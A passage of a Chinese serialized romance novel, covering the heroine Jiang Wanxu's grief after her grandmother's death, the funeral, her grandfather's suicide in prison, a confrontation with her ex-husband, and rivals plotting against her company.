她心疼那个慈祥的老人,更心疼江晚絮。
在这个世界上,没人比她更清楚,外婆的离开,会把江晚絮的心挖走一大块。
顾彦廷站在一旁,看着江晚絮,同样没有说话。
“晚晚。”
他低声唤她。
江晚絮木然地眨了眨眼。
“我不哭。”
她听到自己的声音,冷静得像个局外人,“外婆最怕我哭了。”
顾彦廷的眼眶瞬间就红了。
“好,我们不哭。”
他深吸一口气,强压下心头的酸涩,转头看向一旁的管家。
“忠叔。”
“少爷……”管家还在自责。
“通知殡仪馆,安排后事。”
顾彦廷深吸了一口气,声音恢复了冷硬,“按照最高规格办。另外,**息,除了直系亲属,暂时不要让媒体知道。”
“是。”管家抹了一把泪,转身去打电话。
顾彦廷弯下腰,一把将江晚絮打横抱起。
“我们回家。”
回半山别墅的路上,车厢里很安静。
苏洛敏坐在副驾驶,还在小声地抽泣,时不时回头看一眼后座的两人。
江晚絮靠在顾彦廷的怀里,眼睛一直注视着前方。
凌晨两点的城市,依旧灯火辉煌。
霓虹闪烁,像是一场永不落幕的狂欢。
可这一切热闹,都与她无关了。
“冷吗?”
顾彦廷握住她的手,放在唇边哈了口气,轻轻揉搓着。
江晚絮摇摇头。
“顾彦廷。”
“我在。”
“你说,人死之后,真的会有灵魂吗?”
江晚絮的声音有些缥缈,很轻,也很无助。
顾彦廷的心脏猛地一缩。
他向来是个唯物主义者,不信神佛,只信手段和权力。
可这一刻,他却无比希望这世上真有鬼神。
“有。”
顾彦廷斩钉截铁地回答,“外婆那么善良,她一定去了很好的地方,会在天上看着你。”
“是吗……”
江晚絮扯了扯嘴角,“如果她在看着我,应该会骂我吧。骂我不孝顺,骂我总是让她操心,骂我……连最后那一面都没赶上。”
“不是你的错。”
顾彦廷扳过她的脸,强迫她看着自己,“晚晚,听着,这不是你的错。生老病死,是谁也挡不住的。”
江晚絮没再说话。
车子很快就到达半山别墅。
顾彦廷抱着江晚絮下车,直接上了二楼卧室。
苏洛敏没有跟上去,她知道,这个时候,江晚絮需要的或许不是安慰,而是陪伴,一种无声的、强有力的支撑。
而这个支撑,只有顾彦廷给得起。
顾彦廷把江晚絮放在床上,帮她脱掉外套和鞋子,然后去浴室放了洗澡水。
“泡个澡,睡一觉,好吗?”
他像哄孩子一样,把她抱进浴缸里。
温热的水漫过身体,江晚絮终于感觉到了一丝暖意。
她靠在浴缸边缘,看着顾彦廷挽着袖子,拿着毛巾帮她擦洗手臂。
“顾彦廷。”
“嗯?”
“你不用这样。”江晚絮抬起手,接住他手里的毛巾,“我自己来。”
“别动。”
顾彦廷避开她的手,动作没有停,“我是你男人。”
江晚絮鼻尖一酸,那种想哭却哭不出来的感觉再次涌了上来。
洗完澡,顾彦廷把她塞进被窝,关了大灯,只留下一盏昏黄的床头灯。
“睡吧,我在。”
他在她额头印下一个吻,“好好睡一觉。”
江晚絮闭上眼睛。
可是她睡不着。
只要一闭眼
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,眼前就会浮现出外婆那张慈祥的脸。
这一夜,极其漫长。
江晚絮没睡,顾彦廷也没睡。
他知道怀里的人醒着,因为她的身体一直紧绷着,连呼吸都没有乱过。
天一亮,江晚絮坐了起来。
顾彦廷立刻睁开眼。
“要去哪?”他问。
江晚絮下床,走到衣柜前,拿出一套黑色的衣服换上。
她的动作利落,神情平静。
“我想去个地方。”
“我陪你。”
城郊监狱。
江晚絮坐在探视室的玻璃窗前,手里拿着外婆的死亡证明复印件。
顾彦廷站在她身后,静静地陪她等着。
他没有问江晚絮为什么要来这里。
但他大概能猜到。
那个正在里面服刑的老人——她的亲外公,也是曾经为了给舅舅报仇,不惜把她骗回老家,想要把她强行嫁给一个混蛋的罪魁祸首。
江晚絮看了一眼墙上的挂钟。
二十分钟了,依然没人出来。
又等了十分钟,狱警走了过来。
他有些尴尬地看了一眼江晚絮,又朝着顾彦廷的方向点了点头,算是打招呼。
“那个……江小姐,顾总。”
狱警搓了搓手,语气有些为难,“犯人说……他不认识江晚絮,也不想见。”
“呵。”
江晚絮冷笑一声。
“那就麻烦你转告他,”江晚絮站起身,“就说,我是来通知他,外婆**。”
狱警愣了一下,下意识地点了点头。
他看了一眼顾彦廷。
顾彦廷微微颔首。
“我这就去。”狱警不敢怠慢,转身又跑了进去。
五分钟后。
狱警又回来了。
“江小姐……”
狱警支支吾吾的说道,“犯人说……**就**,正好省得她在外面丢人现眼。他还说……说那是报应……”
顾彦廷大步走上前,一把揽住江晚絮的肩膀,“晚晚,这种人,不值得你浪费时间。”
“我们走。”
江晚絮站在原地,没有动。
外婆尸骨未寒,而在这个世界上与外婆关系最紧密的人,竟然能说出“报应”这种话。
江晚絮突然觉得很可笑。
真的太可笑了。
第259章 你也配?
江晚絮原本以为,把外婆去世的消息告诉外公,或许能看到他的一丝悔意,哪怕是一点点的触动。
可她错了。
有些人,骨子里就是烂透了的。
不管是江家那群衣冠楚楚的禽兽,还是这里面这个愚昧恶毒的老人,都是一样的。
他们不配得到宽恕。
“走吧。”
江晚絮转过身,“他既然不愿意见,那就永远别见了。”
这一天,江晚絮特别忙。
忙到没有时间难过。
选骨灰盒,选墓地,布置灵堂。
她事必躬亲,每一个细节都力求完美。
她很冷静,处理事情条理清晰,甚至还能微笑着接待前来吊唁的宾客。
只有顾彦廷知道,她是在透支自己。
她在逼自己忙碌,逼自己不去面对。
直到第二天傍晚。
江晚絮正在灵堂里给外婆守灵,手机突然响了。
是一个陌生的座机号码。
她按下接听键。
“喂?”
“是江晚絮小姐吗?”
电话那头,是昨天那个狱警的声音。
“我是。”
“那个……我是监狱的小王。通知您一声……”
狱警组织了一下语言,开口时还是有些艰难,“那个……犯人,今天下午……**了。”
江晚絮怀疑自己听错了。
“你说什么?”
“**了。”
狱警的声音颤抖着,“就在刚才放风的时候。他偷偷磨尖了一把吃饭用的塑料勺子……趁人不注意,直接捅进了自己的颈动脉……”
颈动脉。
那么自私的一个人,也会下这样的狠心?
“我们第一时间就打了120,但是救护车还没来,人就已经不行了……”
江晚絮没有说话。
“我知道了。”
江晚絮开口,“埋了吧。”
“啊?您……您不来领回去吗?”
“他说了,他不认识我。那我也不认识他。”
江晚絮说完,直接挂断了电话。
她侧身看向外婆的遗像。
照片里的外婆,笑得慈祥而温暖。
“外婆。”
江晚絮轻声开口,“你看,他去陪你了。不过我想……你应该也不想见他吧?”
外公**的消息,并没有在江晚絮的心里掀起太大的波澜。
顾彦廷得知这个消息后,只吩咐林舟让人随便找个公墓把骨灰撒了,连墓碑都没立。
外婆的葬礼在第三天举行。
那天下了很大的雨。
除了苏洛敏、顾彦廷,以及公司的一些下属,再没其他人。
苏洛敏抱怨江明泽没良心,可她不知道的是,那天下午,江明泽独自坐在书店,哭了很久。
江明哲倒是第一时间就从瑞士赶了回来。
不过他并没有去见江晚絮,只在葬礼上给外婆深深鞠了个躬就离开了。
“一鞠躬——”
司仪的声音在雨中显得格外悲凉。
江晚絮一身黑衣,胸前别着白花,静静地站在墓碑前。
顾彦廷撑着一把黑伞,大半个身子都露在雨里,将伞面完全倾斜在江晚絮的头顶。
“礼成。”
随着最后一声宣告,外婆彻底化作了一捧黄土,长眠于地下。
宾客们渐渐散去。
苏洛敏走过来,抱了抱江晚絮。
“晚晚,节哀。外婆肯定希望你过得好好的。”苏洛敏红着眼眶说道。
“我知道。”
江晚絮轻笑了笑,“你先回去吧,我想一个人待会儿。”
“可是……”
“去吧,顾彦廷在呢。”
苏洛敏看了一眼顾彦廷,点了点头,一步三回头地走了。
墓园里只剩下他们两个人。
雨越下越大。
天地间仿佛只剩下这一方小小的墓碑。
江晚絮蹲下身,伸手抚摸着墓碑上冰冷的照片。
“外婆,”她轻声呢喃,“以后没人再给你气受了。”
大颗大颗的雨水落在地面,溅湿了江晚絮的鞋面。
她突然就觉得自己的喉咙有些疼。
眼睛也开始酸涩起来。
顾彦廷揽着江晚絮单薄的肩膀,将她整个人护在怀里,黑色的伞面几乎全部倾斜在她这一侧。
“走吧。”
他怕江晚絮再待一会儿,会更难过。
两人刚走出墓园的台阶,一道修长却略显颓废的身影,突兀地撞进了江晚絮的视线里。<
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br>叶寒。
他穿着黑西装,却没有打伞。
雨水将他的头发淋得湿透,看上去竟然有几分狼狈的破碎感。
看到江晚絮的那一刻,叶寒的脚步猛地顿住。
“晚絮……”
叶寒开了口。
江晚絮的脚步没有任何停顿。
她的目光平静地越过叶寒看向前方。
顾彦廷微微侧身,挡住了叶寒看向江晚絮的视线。
“让开。”
叶寒被这一声冷喝拉回了神。
他上前一步,尝试与江晚絮说话。
“晚絮,我是来送外婆最后一程的。”
叶寒抹了一把脸上的雨水,神情悲戚,“我刚知道外婆走了,我……我也很难过。节哀顺变。”
江晚絮终于有了反应。
她停下脚步,缓缓从顾彦廷的怀里探出头来。
“叶总。”
她的声音很轻,“如果我没记错的话,我和你已经没有任何关系了。”
叶寒的脸色瞬间煞白。
“晚絮,我……”
“你走吧。”
江晚絮没看他,“我不希望外婆被外人打扰。”
雨水打在叶寒的脸上,他张了张嘴,想要解释,想要说他后悔了,想要说他其实不是那个意思。
可是顾彦廷正用一种警告的眼神看着他。
他有点害怕。
“晚絮,我知道你恨我。”
叶寒深吸一口气,避开顾彦廷的眼神,深情款款地说道,“但是毕竟我们也做了五年的夫妻,外婆也算是我的长辈,我只是想……”
“闭嘴。”
顾彦廷打断了他。
“叶寒,你也配提‘长辈’这两个字?”
“你……”叶寒立刻哑口无言。
江晚絮只觉得一阵反胃。
“走吧,”她伸手扯了扯顾彦廷的衣袖,“这里空气不好。”
顾彦廷收回视线,“好,我们回家。”
他重新揽紧江晚絮,转身朝停在路边的黑色迈巴赫走去。
叶寒站在原地,看着两人离去的背影。
曾几何时,那个只要他回头就能看见的女人,那个无论受了多少委屈都会给他留一盏灯的女人。
真的连一个眼神都不愿意给他了。
第260章 谁也别想好过
顾彦廷先是让江晚絮上了车,然后回头看向墓园。
叶寒依然站在那里没有动。
“林舟。”
“顾总。”
林舟立刻撑着伞走了过来。
“告诉墓园的管理处,从今天起,我不希望叶寒出现在这里。”
林舟愣了一下。
顾彦廷收回视线,“我不管你用什么方法,别让他靠近外婆。”
林舟领命,转身带着四个保镖朝叶寒走去。
此时的叶寒,正站在台阶上盯着顾彦廷的方向。
凭什么?
凭什么顾彦廷可以名正言顺地站在她身边?
好你个江晚絮,你以为攀上顾家你就能过上荣华富贵的日子了?
做梦!
就在这时,林舟带着人挡住了他的视线。
“叶总。”
林舟脸上挂着职业化的假笑,语气却丝毫不客气,“顾总有令,这里不欢迎您。请您立刻离开。”
叶寒冷笑一声,目光阴冷地扫过林舟:“顾彦廷算个什么东西?这墓园是他家开的?我想祭拜谁,轮得到他来管?”
“这墓园是不是顾总家开的,我不知道。”
林舟脸上的笑意更深了,“但我知道,如果叶总现在不走,那恐怕……就得让人‘请’您走了。”
话音刚落,身后的四个保镖齐刷刷地往前迈了一步。
叶寒的脸色瞬间铁青。
他看了一眼远处已经缓缓启动的迈巴赫,双手死死地握成拳头。
顾彦廷,江晚絮!
你们这对狗男女,给我等着!
“好,很好。”
叶寒咬牙切齿地点点头,转身朝着自己的车走去。
他不会就这么算了的!
车内。
江晚絮靠在座椅上,闭着眼睛。
顾彦廷拉开车门坐了进来。
“处理好了?”江晚絮轻声问。
顾彦廷握住她的手,放在掌心轻轻揉捏着,“嗯。”
江晚絮没有说话。
市检察院。
沈曼一脸慌张地站在大门口。
就在二十分钟前,两个胸口别着国徽的工作人员走进了她的办公室。
“沈曼同志,关于你在‘晚星科技’专利案以及多起商业贿赂案中的违规行为,我们已经掌握了初步证据。”
“从即日起,请你暂停一切职务,配合组织调查。在调查期间,不得擅自离开本市。”
“什么?!”
沈曼尖叫出声。
“凭什么停我的职?你们知道我是谁吗?知道我背后是谁吗?!”
工作人员根本不吃她这一套,将通知书放在桌上,“请你签字。”
沈曼快气**。
从小到大,自己什么时候被人这样冷言冷语地对待过?
也就是遇到江晚絮之后,她才接二连三地开始不顺。
“我不签!”
沈曼也不管那两个工作人员是什么反应,直接拿起桌上的手机走到了阳台上。
她要给梁霁川打个电话,问问他为什么自己会被调查。
她什么时候牵扯到晚星科技的专利案里面了???
“对不起,您拨打的用户正在通话中……”
挂断。
再拨。
“对不起,您拨打的用户已关机……”
沈曼感觉自己快冒烟了。
梁霁川竟然把她拉黑了?!
那个口口声声说会保她一辈子荣华富贵的男人,在出事的第一时间,毫不犹豫地把她像扔垃圾一样扔掉了!
“呵呵……”
一名工作人员走过来,不耐烦地催促,“沈女士,请你配合。”
“配合?!”
沈曼将手机摔在桌上,“想整死我?没那么容易!既然你们不让我好过,那大家都别想好过!”
她一把推开工作人员,冲到办公桌后的保险柜前,从里面掏出一个黑色的备用手机。
“你要干什么?”工作人员察觉不对,想要上前阻拦。
沈曼却已经拨通了那个越洋电话。
电话响了一声,两声,三声……
接通了。
一道慵懒的男声从听筒里传了出来。
“哪位?”
沈曼咽了咽口水,用近乎绝望的声音喊道:
“我要见梁霁川!立刻!马上!否则,我就把你当年在瑞士洗的那笔钱的账本,发给顾彦廷!”
电话那头沉默了几秒。
随后,传来一声轻笑。
那个男人似乎并不生气,淡淡地说了一个字,“好。”
“嘟—
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—”
电话挂断了。
沈曼浑身瘫软地跌坐在椅子上。
不到万不得已,她也不想联系那个人。
但是她没有退路了。
她只能赌一把。
第二天傍晚。
梁霁川一脸阴沉地走进了一个私人会所。
他看起来风尘仆仆,眼底带着明显的红血丝,显然是连夜坐飞机赶回来的。
而在他对面,沈曼一改焦虑慌张的神色,仿佛没有看到梁霁川似的,正优雅地抿着红酒。
梁霁川走上前,二话不说,抬手就是一个狠狠的耳光,直接把沈曼打得偏过了头。
“你疯了吗?!”
他咬着牙质问沈曼,“你竟然敢给他打电话?你知不知道这样做会害死我?!”
沈曼捂着脸,缓缓转过头。
“我当然知道。”
她抬手抹掉嘴角的血迹,挑衅地看着梁霁川,“我要是不打这个电话,我现在已经在审讯室里了!梁霁川,你既然不仁,也别怪我不义!”
“你……”
梁霁川气得浑身发抖。
他在欧洲躲得好好的,就是为了避开顾彦廷的锋芒,也是为了不被那个大人物当枪使。
可她万万没想到,沈曼竟然跟那个人有联系!
“行了,别在这跟我演戏了。”
沈曼放下酒杯,抽出一张纸巾擦掉嘴角的血丝,“我不管你用什么方法,必须保住我!检察院那边,你去摆平。还有顾彦廷,你想办法让他停手!”
“你当我是神仙吗?”
梁霁川咬牙切齿,“江晚絮外婆刚死,他正愁没地方撒气呢,你让我去摆平他?”
“那我不管。”
沈曼摊了摊手,“反正我只有这一条命。你要是不救我,我就把你也拖下水。咱们谁也别想好过。”
梁霁川深吸一口气,强迫自己冷静下来。
“好。”
梁霁川闭了闭眼,“检察院那边,我会找人运作,先把程序拖住。但是顾彦廷……”
他顿了顿,眼底闪过一丝阴狠,“既然他不想让我们好过,那就给他找点麻烦。”
“你想干什么?”沈曼问。
梁霁川冷笑一声,“她在乎的,可不止是亲人,还有事业。”
第261章 是个老妖精
凌晨两点,晚星科技。
整栋大楼空荡荡的,只有实验室的灯还亮着。
江晚絮正全神贯注地盯着显微镜下的切片。
自从外婆的葬礼结束后,她就全身心地投入到了工作之中。
试图用这样的方式排解自己心里的悲伤。
“数据不对……”
她拧紧了眉头,喃喃自语着伸手去拿放在一旁的笔记本。
一只修长的手先她一步,将那个笔记本给按住了。
江晚絮愣了一下,抬头就看到顾彦廷站在旁边。
他手里提着一个保温桶,看着她的眼神带了些许愠怒。
“这都几点了。”
顾彦廷看到她眼里的血丝,到底没忍心斥责,叹了口气,用另一只手摘下她的护目镜,“江总,就算是机器人也得充电吧?”
“我不累。”
江晚絮避开他的视线,绕过顾彦廷拿起了那本笔记,“这个实验到了关键时刻,不能停……”
正说着,“咕噜”一声。
她的肚子在抗议。
江晚絮瞬间脸红。
顾彦廷轻笑着拉住她的手,直到把人带到外间的休息室,这才心疼地说,“外婆要是知道你这么糟蹋自己,肯定会心疼的。”
提到外婆,江晚絮的睫毛颤了颤。
“来,”顾彦廷打开保温桶,盛出一小碗鸡汤凑到她嘴边,“喝一口。”
江晚絮乖乖张嘴。
“你说……”江晚絮低着头,看着碗里的汤,“外婆在的时候,我都没让她享福。我是不是很没用?”
“谁说的?”
顾彦廷放下碗,把她安在椅子上,“晚晚,你在做的事情,是在改变世界啊,这怎么能叫没用?”
“再说了,外婆从来没有在乎过这些,她只希望你快乐。”
江晚絮看着她,憋了半个月的悲伤情绪,终于化成眼泪滚了出来。
“我……我好想她……”
顾彦廷轻轻将她拥入怀抱,“我在。”
江晚絮没再逞强,简单收拾了一下,跟着顾彦廷回了半山别墅。
洗过澡后,顾彦廷替她掖好被角,将手覆在她的眼睛上,命令道,“睡觉。”
江晚絮笑着拉开她的手,“知道啦。”
她本以为自己会睡不着。
因为只要闭上眼,脑海里就全是与外婆在一起时的点点滴滴。
可是,顾彦廷身上淡淡的雪松香气,竟让她紧绷了半个月的神经,一点点松懈了下来。
她太累了。
在这种熟悉的安全感中,江晚絮很快就睡着了。
这一觉,睡得昏天黑地。
等到她再次睁眼的时候,窗外的天色是昏暗的。
江晚絮愣了几秒,才反应过来自己在哪。
她撑着身子做起来,看了一眼床头的数字闹钟。
下午六点。
她竟然睡了十几个小时?
真难得。
“醒了?”
房门被推开,顾彦廷走了进来。
“嗯。”
江晚絮掀开被子下床,声音慵懒。
顾彦廷走过来,伸手探了探她的额头,确认她没有发烧,才收回手。
“换件衣服,有人在等你。”
江晚絮一愣,“谁?”
这个时候,还有谁会来找她?
许甜回了意大利,苏洛敏就住在客房,江明泽和江明哲吗?不太可能。
顾彦廷捏了捏她的脸颊,打断了她的沉思,“别怕,是老太太来了。”
江晚絮愣了一下。
顾彦廷的奶奶?
难道是因为前段时间万悦汇的事情,顾老太太责怪她了?
“怎么,怕老太太吃了你?”
顾彦廷看着她紧张的样子,轻笑一声,牵起她的手往外走,“放心吧,老太太虽然年纪大了,但她可不糊涂。实在不行的话,我带你离家出走。”
江晚絮被他这话逗笑。
两人下了楼,就看到苏洛敏坐在顾老太太身旁,小心翼翼地剥着橘子。
听到楼梯上的动静,两人都抬起头看了过来。
江晚絮下意识地攥紧了顾彦廷的手。
“奶奶。”
顾彦廷牵着她走过去,懒洋洋地叫了一声。
江晚絮深吸一口气,有些不自在地问好,“奶奶好。”
顾老太太没说话。
她盯着江晚絮看了足足半分钟,看得江晚絮手心都开始冒汗了,老太太才突然叹了口气。
“瘦了。”
江晚絮瞬间就有些鼻酸。
“过来。”
顾老太太招了招手,拍了拍身边的位置,“坐奶奶这儿来。”
顾彦廷松开手,推了她一把。
江晚絮僵硬地走过去,刚坐下,就被老太太握住了手。
“丫头啊,”顾老太太看着她红肿的眼睛,语气放缓了,“我和你外婆相处了近一年,还算投缘。”
“她是个苦命人,也是个硬气人。”
顾老太太拍着她的手背,“八十多岁了,没受什么大罪就走了,按老理儿讲,这是喜丧。你也别太钻牛角尖。”
喜丧这两个字,在江晚絮听来,不知为什么竟有些刺耳。
如果不是因为她,外婆或许还能多活几年……
“我知道你心里难受,觉得是自己没照顾好她。”
顾老太太像是看穿了她的心思,“但是丫头,人这一辈子,都是有定数的。你外婆走的时候,没有遗憾,走得还算安心。”
说着,老太太忽然话锋一转,指了指自己满是皱纹的脸。
“你看我,今年都八十九了,那就是个老妖精了。”
“噗——”
一旁剥橘子的苏洛敏没忍住,笑出了声。
江晚絮也愣住了。
“笑什么?我说真的。”
顾老太太一脸严肃,“我也活不了几年了。丫头,我今儿个把话撂这儿,等哪天我也两腿一蹬走了,你可不许哭。”
江晚絮抿着唇,“奶奶……”
“尤其是不能像这两天这么哭。”
顾老太太嫌弃地指了指她的眼睛,“哭得跟个核桃似的,丑死了。我顾家的孙媳妇,得漂漂亮亮的。你要是敢在我坟前哭花脸,我做鬼都得爬出来找你算账。”
“噗嗤。”
这一次,江晚絮终于没忍住,破涕为笑。
眼泪还挂在睫毛上,嘴角却扬了起来。
顾彦廷站在不远处,看着这一幕,紧皱了几天的眉头,终于舒展了一些。
“行了。”
老太太见她笑了,这才满意地点点头,“哭也哭过了,笑也笑过了。彦廷,快开饭啊!我都要饿死了,特意留着肚子来的。”
第262章 别矫情了
这大概是江晚絮这几年来,吃过最温馨的一顿饭。
顾老太太跟苏洛敏凑在一起,小声嘀咕着,像是在聊八卦。
顾彦廷张着嘴,喂安安喝粥。
这种温馨的氛围,让江晚絮有些恍惚。
“嗡——嗡——”
快吃完的时候,苏洛敏的手机突然震动起来。
苏洛敏放下鸡腿,抽了张纸巾胡乱擦了擦嘴,“那个……我去接个电话,可能是推销保险的。”
她拿着手机快步走到了餐厅外的露台上,关上了落地窗。
江晚絮看着她的背影,眉头微微皱起。
苏洛敏的性格大大咧咧,什么事都藏不住。
能让她这么避讳的,只有一个人。
周旭。
几分钟后,苏洛敏推门回来。
她重新坐回位置上,拿起筷子,却只是机械地戳着碗里的米饭。
“敏敏。”
江晚絮放下筷子,轻声开口,“出什么事了?”
苏洛敏顿了顿。
“没事啊。”
她抬起头,含糊地说,“就是……就是那个谁,程宇,跟我说那个案子有结果了。”
江晚絮眯了眯眼,“只是有结果了?”
如果是好结果,苏洛敏早就跳起来庆祝了。
如果是坏结果,她应该会拍桌子骂人。
这种吞吞吐吐的样子,绝对有问题。
“真的没事。”
苏洛敏避开江晚絮的视线,低头扒了一口白饭,“程宇就是通知我一声,让我明天去签个字。”
江晚絮还想问,顾彦廷却在旁边催促起来,“晚晚,汤。要凉了。”
“哦。”
苏洛敏感激地看了顾彦廷一眼,低头继续巴拉米饭。
程宇在电话里说得很清楚。
周旭想要见她一面。
她不想去。
但她更不想让江晚絮担心。
江晚絮转头看向顾彦廷。
顾彦廷正优雅地切着盘子里的牛排,神色淡然。
他看出苏洛敏在撒谎。
但他没有拆穿。
这是苏洛敏的私事,既然她不想让江晚絮知道,那必定是有她的考量。
而且,江晚絮现在的状态,确实不适合再操心别人的事。
顾老太太毕竟年纪大了,聊了一会儿就有些乏了,司机扶着她先回了顾家老宅。
安安也被保姆带去洗澡睡觉了。
江晚絮刚想问问顾彦廷是不是看出了点什么,他的手机就响了。
是林舟打来的。
顾彦廷看了一眼江晚絮,然后走到一旁的落地窗前接听。
“说。”
“顾总,沈曼的案子被压下来了。”
顾彦廷的眸光瞬间冷了下来。
“谁动的手?”
“是梁霁川。检察院那边说证据不足,需要重新取证。沈曼现在已经被放回去了。”
林舟顿了顿,又说道,“还有,梁霁川放话出来,说……这只是给您的一点小教训。如果您再动他的人,他不介意让晚星科技也尝尝被调查的滋味。”
“呵。”
顾彦廷冷笑一声,“就凭他?”
“那我们现在……”
“不用管沈曼了。”
顾彦廷看着窗外,“你去查一下梁霁川最近在欧洲的那个项目。”
“是。”
挂断电话,顾彦廷转过身,正好对上江晚絮探究的目光。
江晚絮坐在沙发上,怀里抱着一个抱枕。
她一直在看着他。
从苏洛敏接电话开始,到现在他接电话。
她就像个被排斥在世界之外的局外人。
“公司有急事?”
江晚絮轻声问道。
顾彦廷走过去,掩去眼底的冷意,伸手揉了揉她的头发。
“没事。一点小麻烦,林舟能处理。”
江晚絮看着他故作轻松的神态,心里酸酸的。
他撒谎了。
沈曼被放出来的消息,如果现在告诉江晚絮,除了让她更愤怒、更憋屈之外,没有任何用处。
“哦。”
江晚絮垂下眼帘。
又是“没事”。
苏洛敏说没事。
顾彦廷也说没事。
可是苏洛敏明明在接过电话后就在刻意躲避她的目光,顾彦廷看她时的眼神也明显藏着事情。
他们都在骗她。
江晚絮不知道该怎么形容现在的心情。
虽然她知道,他们是为了她好。
他们觉得她太脆弱了,太惨了,受不起任何风吹雨打,所以他们宁愿不告诉她。
可是……
这种感觉,真的好糟糕啊。
她感觉自己就是一个废物。
外婆死了,她无能为力。
面对叶寒的纠缠,她只能靠顾彦廷解围。
就连现在,朋友和爱人遇到了麻烦,却没有一个人愿意告诉她。
这一晚,江晚絮睡得很沉,却并不安稳。
她梦到外婆给她。
“絮絮,吃,甜着呢。”
可画面一转,那张慈祥的脸就被白布盖过了头顶,无论她怎么哭喊,那张布也没有再掀开过。
紧接着是外公。
她手里攥着磨尖的塑料勺柄,脖颈上全是猩红的血。
“是你害死了你外婆,是你……你是灾星……”
“不是我!不是我!”
江晚絮拼命摇头,想要解释,想要逃离。
可她不管怎么跑,都无法动弹。
就在她绝望之际,一个声音轻轻传入耳中。
“别怕。”
江晚絮立刻从噩梦中惊醒。
她大口大口地喘着气,冷汗浸透了睡衣,粘腻得让人难受。
下意识的,她伸手摸向身侧。
空的。
江晚絮的心,在那一瞬间,也跟着空了空。
她抓过床头的手机,屏幕亮起的瞬间,刺得眼睛生疼。
凌晨四点半。
这么早?
他是去公司了?还是发生了什么紧急的事情?
江晚絮点开微信,置顶的对话框里,除了昨天顾彦廷发给她的一条“等我”之外,再没新的消息。
这种不告而别,像极了曾经的那些年。
在叶家,叶寒也是这样。
她永远是在等待的那一个。
等他吃饭,等他回家,等他回心转意,等到最后,只等到了一纸离婚协议和满身伤痕。
“江晚絮,别矫情了。”
她在黑暗中抱着膝盖,自嘲地道,“顾彦廷是大忙人,你不要那么疑神疑鬼。”
她深吸了一口气,强迫自己不去想那些乱七八糟的事情。
既然睡不着,那就起来吧。
她不想一个人待在这个空荡荡的房间里。
江晚絮穿好衣服,简单地洗了洗。
“真丑。”
镜子里的她,形容憔悴。
她扯了扯嘴角,走出房间。
走廊里静悄悄的。
江晚絮走到客房门口,抬起手刚要敲门,动作却顿住了。
现在才不到五点。
敏敏最喜欢睡懒觉,如果有谁在这个点吵醒她,她绝对会暴走。
江晚絮犹豫了一下,轻轻握住门把手拧开。
她探进头去,借着走廊昏黄的灯光,看向床上。
空空如也。
第263章 大家都很忙
苏洛敏不在房间里?
甚至,看这个样子,她昨晚根本就没有在这里睡……
她去哪了?
昨晚吃饭的时候,她明明还在的。
而且她还接了程宇的电话,说是今天要签字……
签字?
江晚絮脑海中灵光一闪。
难道是昨天晚上就出去了?
她颤抖着手掏出手机,翻出苏洛敏的号码。
指尖悬在拨号键上,却迟迟按不下去。
打过去吗?
如果敏敏是在处理很重要的事情呢?
自己这个电话打过去,会不会坏了她的事?
又或者……
她会不会觉得自己很烦?
“江晚絮,你有病吧?”
叶寒的声音仿佛又在耳边炸响,带着不加掩饰的厌恶,“我说了我在忙,能不能别像个怨妇一样?”
江明泽也曾冷冷地推开她的手:“晚絮,你能不能懂点事?芊妤病了,大家都很急,你能不能别在这个时候打电话添乱?”
过往的记忆,像一个又一个巴掌,扇得她脸颊生疼。
是啊。
她总是那个多余的人。
总是那个在不恰当的时候出现,打扰别人生活的人。
也许敏敏只是不想让她担心而已。
自己要是这个时候打过去,只会显得我不信任她,显得我……很麻烦。
“呜哇——!呜呜呜——!”
安安的哭声突然响了起来。
江晚絮回过神来,顾不上多想就往楼下冲。
儿童房里,保姆正手忙脚乱地抱着安安哄着,额头上全是汗。
保姆急得直跺脚,可安安却哭得更凶了,小脸涨得通红,手脚乱蹬,像是受到了极大的惊吓。
“我来吧。”
江晚絮走了进来。
保姆一愣,看到是江晚絮,这才放心把孩子交到她手里,“您来得正好,安安不知道怎么了,突然就开始哭,怎么哄都不行。”
江晚絮小心翼翼地接过安安。
“安安,别怕,妈妈在。”
她轻轻拍着安安的后背。
安安睁开眼,看到是她,哭声立刻就小了。
她抱着安安走到落地窗前的摇椅上坐下。
窗外,天色依然晦暗不明。
“夫人,我去做早餐。”
江晚絮轻轻哼着外婆以前哼过的童谣,有一搭没一搭地拍着孩子。
安安大概是哭累了,很快就在她怀里睡着了。
时间一分一秒的过去。
天渐渐亮了,江晚絮维持着那个姿势,一动不动,直到手臂发麻。
可是,直到保姆做好了早餐,大门都没有开。
顾彦廷没有回来。
苏洛敏也没有回来。
“夫人,您多少吃点吧。”
保姆看着她这副失魂落魄的样子,忍不住劝道,“先生可能是公司太忙了,您别担心。”
太忙了?
是啊,大家都太忙了……
下午三点。
就在江晚絮快要被那种等待的焦虑逼疯的时候,玄关处终于传来了动静。
江晚絮几乎是从沙发上弹了起来,快步走到玄关。
苏洛敏回来了。
看着苏洛敏,声音有些发紧,“你去哪了?怎么一晚上都不在房间?”
苏洛敏正在换鞋的动作顿了一下,这才转过身来。
看到她怀里金灿灿的向日葵,江晚絮有些发愣。
苏洛敏把那束花往江晚絮怀里一塞,“昨晚程宇非要拉着我去庆祝,我想着不想吵醒你,就直接出去了。”
“庆祝?”
江晚絮抱着那束花,低头闻了一下。
挺香的。
“是啊!”
苏洛敏换好拖鞋,走过来挽住她的胳膊,“你看,他还送了我这束花。啧啧啧,还挺有仪式感的。”
江晚絮看着怀里的花,又看了看苏洛敏的笑脸。
“是吗?”
江晚絮垂下眼帘,声音轻柔,“那挺好的。”
“对吧!我也觉得他这人还不错。”
苏洛敏像是松了一口气,声音都大了一些,“晚晚,这花送你了!借花献佛,希望你也开心点!”
“谢谢。”
江晚絮抱着花,勉强笑了笑。
“对了,顾总呢?”
苏洛敏似乎是想转移话题,环顾了一圈四周,“怎么没看到他?”
提到顾彦廷,江晚絮眼神黯了黯。
“他……还没回来。”
“没回来?”
苏洛敏皱起眉头,脸上的笑容收敛了几分,“一整晚?”
“我也不知道。”
江晚絮点了点头,抱着花转身往客厅走,“可能是有急事吧。”
“这男人怎么回事!”
苏洛敏跟在她身后,语气里带了几分火气,“把你一个人扔在家里,连个电话都没有?顾彦廷平时看着挺靠谱的,怎么关键时刻也这样!男人果然没一个好东西!”
“没关系。”
江晚絮把花插进花瓶里,背对着苏洛敏,“应该是有急事吧。”
“晚晚……”
苏洛敏走过去,从背后抱住了她。
两人没再多说什么,一起抱着安安玩了一会儿,保姆就喊她们吃完饭。
“江小姐,苏小姐,先生说……今晚不回来吃饭了。”
保姆小心翼翼地传达着刚刚接到的林舟的电话。
“知道了。”
江晚絮夹起一块排骨,放进碗里。
